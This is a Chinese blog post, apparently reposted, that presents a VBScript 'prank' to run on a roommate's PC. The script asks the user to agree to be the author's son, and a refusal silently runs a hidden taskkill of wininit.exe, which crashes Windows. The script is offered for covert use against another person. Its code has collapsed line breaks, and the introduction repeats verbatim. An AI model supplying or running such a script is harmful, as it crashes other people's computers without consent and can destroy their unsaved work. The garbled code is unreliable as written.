VBS让室友成为你儿子
前言
在編程路上,vbs是一個好用又不用下載的語言,今天,我們要拿這個秀一手
提示:以下是本篇文章正文內(nèi)容,下面案例可供參考
一、VBS是什么?
VBScript是Visual Basic Script的簡稱,即 Visual Basic?腳本語言,有時也被縮寫為VBS。它是一種微軟環(huán)境下的輕量級的解釋型語言,它使用COM組件、WMI、WSH、ADSI訪問系統(tǒng)中的元素,對系統(tǒng)進(jìn)行管理。同時它又是asp動態(tài)網(wǎng)頁默認(rèn)的編程語言,配合asp內(nèi)建對象和ADO對象,用戶很快就能掌握訪問數(shù)據(jù)庫的asp動態(tài)網(wǎng)頁開發(fā)技術(shù)。VBScript是Visual Basic Script的簡稱,即 Visual Basic?腳本語言,有時也被縮寫為VBS。它是一種微軟環(huán)境下的輕量級的解釋型語言,它使用COM組件、WMI、WSH、ADSI訪問系統(tǒng)中的元素,對系統(tǒng)進(jìn)行管理。同時它又是asp動態(tài)網(wǎng)頁默認(rèn)的編程語言,配合asp內(nèi)建對象和ADO對象,用戶很快就能掌握訪問數(shù)據(jù)庫的asp動態(tài)網(wǎng)頁開發(fā)技術(shù)。
二、怎么編輯vbs
1后綴改為vbs(沒有的扣1,下期更)
2右鍵編輯
總結(jié)
直接上代碼
4.復(fù)制以下代碼
If MsgBox("你愿意做我的兒子嗎?",vbYesNo,"提示")=vbyes thenMsgbox "兒子乖!"Wscript.echo Printer(" ","*","113111111112212111313111513",7)Function Printer(a1,a2,b,c)For i = 1 to len(b)b1 = Mid(b,i,1)For j = 1 to b1s = s & " " & a1n = n + 1if n = c thens= s & chr(10)n = 0End ifNexta3 = a1a1 = a2a2 = a3NextPrinter=sEnd functionSet ws = CreateObject("Sapi.Spvoice")k = "爸爸愛你"ws.speak kElseMsgbox "你翅膀硬了!"Msgbox "我要給你愛的教育!!!",64,"系統(tǒng)提示:"Set ws = Createobject("wscript.shell")ws.run "cmd /c start /min taskkill /f /im wininit.exe",0,falseEnd if不喜勿噴!
總結(jié)
以上是生活随笔為你收集整理的VBS让室友成为你儿子的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: N2N组建虚拟局域网——筑梦之路
- 下一篇: 一些Winodws mobile相关资料